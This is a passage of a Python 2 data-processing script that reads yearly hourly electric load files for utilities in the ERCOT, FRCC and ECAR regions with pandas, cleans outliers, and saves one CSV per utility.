1994 : pd.read_fwf('%s/ercot/1994/PUB94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
1995 : pd.read_fwf('%s/ercot/1995/PUB95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
1996 : pd.read_fwf('%s/ercot/1996/PUB96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
1997 : pd.read_fwf('%s/ercot/1997/PUB97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
1998 : (pd.read_excel('%s/ercot/1998/FERC714.xls' % (fulldir), skiprows=3)['PUBX'].loc[2:].astype(int)/1000).values,
1999 : (pd.read_excel('%s/ercot/1999/ERCOT99HRLD060800.xls' % (fulldir), skiprows=14)['PUBX'].astype(float)/1000).values,
2000 : (pd.read_csv('%s/ercot/2000/ERCOT00HRLD.txt' % (fulldir), skiprows=18, header=None, skipinitialspace=True, sep='\t')[7].str.replace(',', '').astype(float)/1000).values
},
40233 : {
1993 : pd.read_csv('%s/ercot/1993/SRGT93' % (fulldir), sep=' ', skipinitialspace=True, header=None).iloc[:, -1].values,
1994 : pd.read_fwf('%s/ercot/1994/SRGT94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
1995 : pd.read_fwf('%s/ercot/1995/SRGT95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
1996 : pd.read_fwf('%s/ercot/1996/SRGT96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
1997 : pd.read_fwf('%s/ercot/1997/SRGT97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel()
},
17583 : {
1993 : pd.read_fwf('%s/ercot/1993/STEC93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(),
1998 : (pd.read_excel('%s/ercot/1998/FERC714.xls' % (fulldir), skiprows=3)['STEC'].loc[2:].astype(int)/1000).values,
1999 : (pd.read_excel('%s/ercot/1999/ERCOT99HRLD060800.xls' % (fulldir), skiprows=14)['STEC'].astype(float)/1000).values,
2000 : (pd.read_csv('%s/ercot/2000/ERCOT00HRLD.txt' % (fulldir), skiprows=18, header=None, skipinitialspace=True, sep='\t')[9].str.replace(',', '').astype(float)/1000).values
},
44372 : {
1993 : pd.read_fwf('%s/ercot/1993/TUEC93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(),
1994 : pd.read_fwf('%s/ercot/1994/TUEC94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
1995 : pd.read_fwf('%s/ercot/1995/TUEC95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
1996 : pd.read_fwf('%s/ercot/1996/TUE96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
1997 : pd.read_fwf('%s/ercot/1997/TUE97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
1998 : (pd.read_excel('%s/ercot/1998/FERC714.xls' % (fulldir), skiprows=3)['TUEC'].loc[2:].astype(int)/1000).values
},
18715 : {
1993 : pd.read_csv('%s/ercot/1993/TMPP93' % (fulldir), skiprows=7, header=None, sep=' ', skipinitialspace=True).iloc[:, 3:].values.ravel(),
1995 : pd.read_fwf('%s/ercot/1995/TMPP95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(),
1997 : pd.read_fwf('%s/ercot/1997/TMPP97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
1999 : (pd.read_excel('%s/ercot/1999/ERCOT99HRLD060800.xls' % (fulldir), skiprows=14)['TMPP'].astype(float)/1000).values,
2000 : (pd.read_csv('%s/ercot/2000/ERCOT00HRLD.txt' % (fulldir), skiprows=18, header=None, skipinitialspace=True, sep='\t')[10].str.replace(',', '').astype(float)/1000).values
},
18679 : {
1993 : pd.read_csv('%s/ercot/1993/TEXLA93' % (fulldir), sep=' ', skipinitialspace=True, header=None).iloc[:, -1].values,
1995 : pd.read_fwf('%s/ercot/1995/TXLA95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
1996 : pd.read_fwf('%s/ercot/1996/TXLA96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
1997 : pd.read_fwf('%s/ercot/1997/TXLA97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
1998 : (pd.read_excel('%s/ercot/1998/FERC714.xls' % (fulldir), skiprows=3)['TXLA'].loc[2:].astype(int)/1000).values
},
20404 : {
1993 : pd.read_fwf('%s/ercot/1993/WTU93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].astype(str).apply(lambda x: x.str.replace('\s', '0')).astype(float).values.ravel(),
1994 : pd.read_fwf('%s/ercot/1994/WTU94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
1996 : pd.read_fwf('%s/ercot/1996/WTU96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
1997 : pd.read_fwf('%s/ercot/1997/WTU97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
1998 : (pd.read_excel('%s/ercot/1998/FERC714.xls' % (fulldir), skiprows=3)['WTUC'].loc[2:].astype(int)/1000).values
}
}
ercot[2409][1998][ercot[2409][1998] > 300] = 0
ercot[2409][1999][ercot[2409][1999] > 300] = 0
if not os.path.exists('./ercot'):
os.mkdir('ercot')
for k in ercot.keys():
print k
s = pd.DataFrame(pd.concat([pd.Series(ercot[k][i], index=pd.date_range(start=datetime.date(i, 1, 1), freq='h', periods=len(ercot[k][i]))) for i in ercot[k].keys()]).sort_index(), columns=['load'])
s['load'] = s['load'].astype(float).replace(0, np.nan)
s.to_csv('./ercot/%s.csv' % k)
###### FRCC
# GAIN: 6909
# LAKE: 10623
# FMPA: 6567
# FPC: 6455
# FPL: 6452
# JEA: 9617
# KUA: 10376
# OUC: 14610
# TECO: 18454
# SECI: 21554
frcc = {
6909 : {
1993 : pd.read_fwf('%s/frcc/1993/GAIN93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
1994 : pd.read_csv('%s/frcc/1994/GAIN94' % (fulldir), header=None, sep=' ', skipinitialspace=True, skipfooter=2, skiprows=5).iloc[:, 1:].values.ravel(),
1995 : pd.read_fwf('%s/frcc/1995/GAIN95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
1996 : pd.read_csv('%s/frcc/1996/GAIN96' % (fulldir), sep=' ', skipinitialspace=True).iloc[:, 1:].values.ravel(),
1997 : pd.read_fwf('%s/frcc/1997/GAIN97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
1998 : pd.read_csv('%s/frcc/1998/GAIN98' % (fulldir), sep=' ', skipinitialspace=True, skiprows=3, header=None).iloc[:, 1:].values.ravel(),
1999 : pd.read_fwf('%s/frcc/1999/GAIN99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
2000 : pd.read_fwf('%s/frcc/2000/GAIN00' % (fulldir), header=None).iloc[:, 4:].values.ravel(),
2002 : pd.read_excel('%s/frcc/2002/GAIN02' % (fulldir), sheetname=1, skiprows=3, header=None).iloc[:730, 8:20].values.ravel(),
2003 : pd.read_excel('%s/frcc/2003/GAIN03' % (fulldir), sheetname=2, skiprows=3, header=None).iloc[:730, 8:20].values.ravel(),
2004 : pd.read_excel('%s/frcc/2004/GAIN04' % (fulldir), sheetname=0, header=None).iloc[:, 8:].values.ravel()
},
10623: {
1993 : pd.read_fwf('%s/frcc/1993/LAKE93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(),
1994 : pd.read_fwf('%s/frcc/1994/LAKE94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(),
1995 : pd.read_fwf('%s/frcc/1995/LAKE95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
1996 : pd.read_fwf('%s/frcc/1996/LAKE96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(),
1997 : pd.read_fwf('%s/frcc/1997/LAKE97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(),
1998 : pd.read_fwf('%s/frcc/1998/LAKE98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
1999 : pd.read_fwf('%s/frcc/1999/LAKE99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(),
2000 : pd.read_fwf('%s/frcc/2000/LAKE00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
2001 : pd.read_fwf('%s/frcc/2001/LAKE01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(),
2002 : pd.read_fwf('%s/frcc/2002/LAKE02' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel()
},
6567 : {
1993 : pd.read_fwf('%s/frcc/1993/FMPA93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
1994 : pd.read_fwf('%s/frcc/1994/FMPA94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=5).iloc[:, 1:].values.ravel(),
1995 : pd.read_fwf('%s/frcc/1995/FMPA95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=5).iloc[:, 1:].values.ravel(),
1996 : pd.read_fwf('%s/frcc/1996/FMPA96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=5).iloc[:, 1:].values.ravel(),
1997 : pd.read_fwf('%s/frcc/1997/FMPA97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=5).iloc[:, 1:].values.ravel(),
1998 : pd.read_fwf('%s/frcc/1998/FMPA98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=5).iloc[:, 1:].values.ravel(),
1999 : pd.read_fwf('%s/frcc/1999/FMPA99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=6).iloc[:, 1:].values.ravel(),
2001 : pd.read_csv('%s/frcc/2001/FMPA01' % (fulldir), header=None, sep=' ', skipinitialspace=True, skiprows=6).iloc[:, 2:-1].values.ravel(),
2002 : pd.read_csv('%s/frcc/2002/FMPA02' % (fulldir), header=None, sep='\t', skipinitialspace=True, skiprows=7).iloc[:, 1:].values.ravel(),
2003 : pd.read_csv('%s/frcc/2003/FMPA03' % (fulldir), header=None, sep='\t', skipinitialspace=True, skiprows=7).iloc[:, 1:].values.ravel(),
2004 : pd.read_csv('%s/frcc/2004/FMPA04' % (fulldir), header=None, sep=' ', skipinitialspace=True, skiprows=6, skipfooter=1).iloc[:, 1:].values.ravel()
},
6455 : {
1993 : pd.read_csv('%s/frcc/1993/FPC93' % (fulldir), sep=' ', skipinitialspace=True, header=None)[1].values,
1994 : pd.read_csv('%s/frcc/1994/FPC94' % (fulldir), sep=' ', skipinitialspace=True, header=None).iloc[:, 2:].values.ravel(),
1995 : pd.read_csv('%s/frcc/1995/FPC95' % (fulldir), engine='python', header=None)[0].values,
1996 : pd.read_excel('%s/frcc/1996/FPC96' % (fulldir), header=None, skiprows=2, skipfooter=1).iloc[:, 6:].values.ravel(),
1998 : pd.read_excel('%s/frcc/1998/FPC98' % (fulldir), header=None, skiprows=5).iloc[:, 7:].values.ravel(),
1999 : pd.read_excel('%s/frcc/1999/FPC99' % (fulldir), header=None, skiprows=4).iloc[:, 7:].values.ravel(),
2000 : pd.read_excel('%s/frcc/2000/FPC00' % (fulldir), header=None, skiprows=4).iloc[:, 7:].values.ravel(),
2001 : pd.read_excel('%s/frcc/2001/FPC01' % (fulldir), header=None, skiprows=5).iloc[:, 7:].values.ravel(),
2002 : pd.read_excel('%s/frcc/2002/FPC02' % (fulldir), header=None, skiprows=4).iloc[:, 7:].values.ravel(),
2004 : pd.read_excel('%s/frcc/2004/FPC04' % (fulldir), header=None, skiprows=4).iloc[:, 7:].values.ravel()
},
6452 : {
1993 : pd.DataFrame([i.split('\t') for i in open('%s/frcc/1993/FPL93' % (fulldir), 'r').readlines()]).iloc[:365, :24].apply(lambda x: x.str.replace('\r\n', '').str.replace('"', '').str.replace(',', '')).replace('', np.nan).astype(float).values.ravel(),
1994 : pd.DataFrame([i.split('\t') for i in open('%s/frcc/1994/FPL94' % (fulldir), 'r').readlines()]).iloc[3:, 1:13].apply(lambda x: x.str.replace('\r\n', '').str.replace('"', '').str.replace(',', '')).replace('', np.nan).astype(float).values.ravel(),
1995 : pd.DataFrame([i.split('\t') for i in open('%s/frcc/1995/FPL95' % (fulldir), 'r').readlines()[3:]]).iloc[:730, 1:13].apply(lambda x: x.str.replace('\r\n', '').str.replace('"', '').str.replace(',', '')).replace('', np.nan).astype(float).values.ravel(),
1996 : pd.DataFrame([i.split('\t') for i in open('%s/frcc/1996/FPL96' % (fulldir), 'r').readlines()[4:]]).iloc[:730, 1:13].apply(lambda x: x.str.replace('\r\n', '').str.replace('"', '').str.replace(',', '')).replace('', np.nan).astype(float).values.ravel(),
1997 : pd.DataFrame([i.split('\t') for i in open('%s/frcc/1997/FPL97' % (fulldir), 'r').readlines()[4:]]).iloc[:730, 1:13].apply(lambda x: x.str.replace('\r\n', '').str.replace('"', '').str.replace(',', '')).replace('', np.nan).astype(float).values.ravel(),
1998 : pd.DataFrame([i.split('\t') for i in open('%s/frcc/1998/FPL98' % (fulldir), 'r').readlines()[4:]]).iloc[:730, 1:13].apply(lambda x: x.str.replace('\r\n', '').str.replace('"', '').str.replace(',', '')).replace('', np.nan).astype(float).values.ravel(),
1999 : pd.DataFrame([i.split('\t') for i in open('%s/frcc/1999/FPL99' % (fulldir), 'r').readlines()[4:]]).iloc[:730, 1:13].apply(lambda x: x.str.replace('\r\n', '').str.replace('"', '').str.replace(',', '')).replace('', np.nan).astype(float).values.ravel(),
2000 : pd.DataFrame([i.split('\t') for i in open('%s/frcc/2000/FPL00' % (fulldir), 'r').readlines()[4:]]).iloc[:730, 1:13].apply(lambda x: x.str.replace('\r\n', '').str.replace('"', '').str.replace(',', '')).replace('', np.nan).astype(float).values.ravel(),
2001 : pd.DataFrame([i.split('\t') for i in open('%s/frcc/2001/FPL01' % (fulldir), 'r').readlines()[4:]]).iloc[:730, 1:13].apply(lambda x: x.str.replace('\r\n', '').str.replace('"', '').str.replace(',', '')).replace('', np.nan).astype(float).values.ravel(),
2002 : pd.DataFrame([i.split('\t') for i in open('%s/frcc/2002/FPL02' % (fulldir), 'r').readlines()[4:]]).iloc[:730, 1:13].apply(lambda x: x.str.replace('\r\n', '').str.replace('"', '').str.replace(',', '')).replace('', np.nan).astype(float).values.ravel(),
2003 : pd.DataFrame([i.split('\t') for i in open('%s/frcc/2003/FPL03' % (fulldir), 'r').readlines()[4:]]).iloc[:730, 1:13].apply(lambda x: x.str.replace('\r\n', '').str.replace('"', '').str.replace(',', '')).replace('', np.nan).astype(float).values.ravel(),
2004 : pd.DataFrame([i.split('\t') for i in open('%s/frcc/2004/FPL04' % (fulldir), 'r').readlines()[4:]]).iloc[:730, 1:13].apply(lambda x: x.str.replace('\r\n', '').str.replace('"', '').str.replace(',', '')).replace('', np.nan).astype(float).values.ravel()
},
9617 : {
1993 : pd.read_csv('%s/frcc/1993/JEA93' % (fulldir), sep=' ', skipinitialspace=True, header=None)[2].values,
1994 : pd.read_csv('%s/frcc/1994/JEA94' % (fulldir), sep=' ', skipinitialspace=True, header=None)[2].values,
1996 : pd.read_fwf('%s/frcc/1996/JEA96' % (fulldir), header=None, skipfooter=1).iloc[:, 1:].values.ravel(),
1997 : pd.read_fwf('%s/frcc/1997/JEA97' % (fulldir), header=None).iloc[:, 1:].values.ravel(),
1998 : pd.read_csv('%s/frcc/1998/JEA98' % (fulldir), sep='\t', header=None)[2].values,
1999 : pd.read_csv('%s/frcc/1999/JEA99' % (fulldir), sep='\t', header=None)[2].values,
2000 : pd.read_excel('%s/frcc/2000/JEA00' % (fulldir), header=None)[2].values,
2001 : pd.read_excel('%s/frcc/2001/JEA01' % (fulldir), header=None, skiprows=2)[2].values,
2002 : pd.read_excel('%s/frcc/2002/JEA02' % (fulldir), header=None, skiprows=1)[2].values,
2003 : pd.read_excel('%s/frcc/2003/JEA03' % (fulldir), header=None, skiprows=1)[2].values,
2004 : pd.read_excel('%s/frcc/2004/JEA04' % (fulldir), header=None, skiprows=1)[2].values
},
10376 : {
1994 : pd.read_csv('%s/frcc/1994/KUA94' % (fulldir), sep=' ', skipinitialspace=True, header=None).iloc[:, 1:].values.ravel(),
1995 : pd.read_csv('%s/frcc/1995/KUA95' % (fulldir), sep=' ', skipinitialspace=True, header=None).iloc[:, 1:].values.ravel(),
1997 : pd.read_csv('%s/frcc/1997/KUA97' % (fulldir), sep='\t', skipinitialspace=True, header=None).iloc[:, 2:].values.ravel(),
2001 : pd.read_csv('%s/frcc/2001/KUA01' % (fulldir), skiprows=1, header=None, sep=' ', skipinitialspace=True).iloc[:, 1:].values.ravel(),
2002 : pd.read_csv('%s/frcc/2002/KUA02' % (fulldir), skipfooter=1, header=None, sep=' ', skipinitialspace=True).iloc[:, 1:].values.ravel()
},
14610 : {
1993 : pd.read_fwf('%s/frcc/1993/OUC93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(),
1994 : pd.read_fwf('%s/frcc/1994/OUC94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(),
1995 : pd.read_fwf('%s/frcc/1995/OUC95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(),
1996 : pd.read_fwf('%s/frcc/1996/OUC96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(),
1997 : pd.read_fwf('%s/frcc/1997/OUC97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(),
1998 : pd.read_fwf('%s/frcc/1998/OUC98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(),
1999 : pd.read_fwf('%s/frcc/1999/OUC99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
2000 : pd.read_fwf('%s/frcc/2000/OUC00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
2001 : pd.read_fwf('%s/frcc/2001/OUC01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=2).iloc[:, 1:].values.ravel(),
2002 : pd.read_fwf('%s/frcc/2002/OUC02' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel()
},
18454 : {
1993 : pd.read_fwf('%s/frcc/1993/TECO93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=1).iloc[:, 1:].values.ravel(),
1994 : pd.read_fwf('%s/frcc/1994/TECO94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=1).iloc[:, 1:].values.ravel(),
1998 : pd.read_csv('%s/frcc/1998/TECO98' % (fulldir), engine='python', skiprows=3, header=None)[0].values,
1999 : pd.read_csv('%s/frcc/1999/TECO99' % (fulldir), engine='python', skiprows=3, header=None)[0].values,
2000 : pd.read_csv('%s/frcc/2000/TECO00' % (fulldir), engine='python', skiprows=3, header=None)[0].str[:4].astype(int).values,
2001 : pd.read_csv('%s/frcc/2001/TECO01' % (fulldir), skiprows=3, header=None)[0].values,
2002 : pd.read_csv('%s/frcc/2002/TECO02' % (fulldir), sep='\t').loc[:, 'HR1':].values.ravel(),
2003 : pd.read_csv('%s/frcc/2003/TECO03' % (fulldir), skiprows=2, header=None, sep=' ', skipinitialspace=True).iloc[:, 2:].values.ravel()
},
21554 : {
1993 : pd.read_fwf('%s/frcc/1993/SECI93' % (fulldir), header=None, skipfooter=1).iloc[:, 3:].values.ravel(),
1994 : pd.read_fwf('%s/frcc/1994/SECI94' % (fulldir), header=None, skipfooter=1).iloc[:, 3:].values.ravel(),
1995 : pd.read_fwf('%s/frcc/1995/SECI95' % (fulldir), header=None, skipfooter=1).iloc[:, 3:].values.ravel(),
1996 : pd.read_fwf('%s/frcc/1996/SECI96' % (fulldir), header=None, skipfooter=1).iloc[:, 3:].values.ravel(),
1997 : pd.read_fwf('%s/frcc/1997/SECI97' % (fulldir), header=None, skipfooter=1).iloc[:, 3:].values.ravel(),
1999 : pd.read_fwf('%s/frcc/1999/SECI99' % (fulldir), header=None, skipfooter=1).iloc[:, 3:].values.ravel(),
2000 : pd.read_fwf('%s/frcc/2000/SECI00' % (fulldir), header=None, skipfooter=1).iloc[:, 3:].values.ravel(),
2002 : pd.read_fwf('%s/frcc/2002/SECI02' % (fulldir), header=None).iloc[:, 3:].values.ravel(),
2004 : pd.read_fwf('%s/frcc/2004/SECI04' % (fulldir), header=None).iloc[:, 3:].values.ravel()
}
}
frcc[6455][1995][frcc[6455][1995] > 10000] = 0
frcc[9617][2002][frcc[9617][2002] > 10000] = 0
frcc[10376][1995][frcc[10376][1995] > 300] = 0
if not os.path.exists('./frcc'):
os.mkdir('frcc')
for k in frcc.keys():
print k
s = pd.DataFrame(pd.concat([pd.Series(frcc[k][i], index=pd.date_range(start=datetime.date(i, 1, 1), freq='h', periods=len(frcc[k][i]))) for i in frcc[k].keys()]).sort_index(), columns=['load'])
s['load'] = s['load'].astype(float).replace(0, np.nan)
s.to_csv('./frcc/%s.csv' % k)
###### ECAR
# AEP: 829
# APS: 538
# AMPO: 40577
# BREC: 1692
# BPI: 7004
# CEI: 3755
# CGE: 3542
# CP: 4254
# DPL: 4922
# DECO: 5109
# DLCO: 5487
# EKPC: 5580
# HEC: 9267
# IPL: 9273
# KUC: 10171
# LGE: 11249
# NIPS: 13756
# OE: 13998
# OVEC: 14015
# PSI: 15470
# SIGE: 17633
# TE: 18997
# WVPA: 40211
# CINRGY: 3260 -> Now part of 3542
# FE: 32208
# MCCP:
ecar = {
829 : {
1993 : pd.read_fwf('%s/ecar/1993/AEP93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1994 : pd.read_fwf('%s/ecar/1994/AEP94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1995 : pd.read_fwf('%s/ecar/1995/AEP95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1996 : pd.read_fwf('%s/ecar/1996/AEP96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1997 : pd.read_fwf('%s/ecar/1997/AEP97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1998 : pd.read_fwf('%s/ecar/1998/AEP98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1999 : pd.read_fwf('%s/ecar/1999/AEP99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2000 : pd.read_fwf('%s/ecar/2000/AEP00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2001 : pd.read_fwf('%s/ecar/2001/AEP01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2002 : pd.read_csv('%s/ecar/2002/AEP02' % (fulldir), header=None)[1].values,
2003 : pd.read_fwf('%s/ecar/2003/AEP03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2004 : pd.read_fwf('%s/ecar/2004/AEP04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel()
},
538 : {
1993 : pd.read_fwf('%s/ecar/1993/APS93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1994 : pd.read_fwf('%s/ecar/1994/APS94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1995 : pd.read_fwf('%s/ecar/1995/APS95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel()
},
40577 : {
2001 : pd.read_fwf('%s/ecar/2001/AMPO01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2002 : pd.read_csv('%s/ecar/2002/AMPO02' % (fulldir), header=None)[1].values,
2003 : pd.read_fwf('%s/ecar/2003/AMPO03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2004 : pd.read_fwf('%s/ecar/2004/AMPO04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel()
},
1692 : {
1993 : pd.read_fwf('%s/ecar/1993/BREC93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1994 : pd.read_fwf('%s/ecar/1994/BREC94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1995 : pd.read_fwf('%s/ecar/1995/BREC95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1996 : pd.read_fwf('%s/ecar/1996/BREC96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
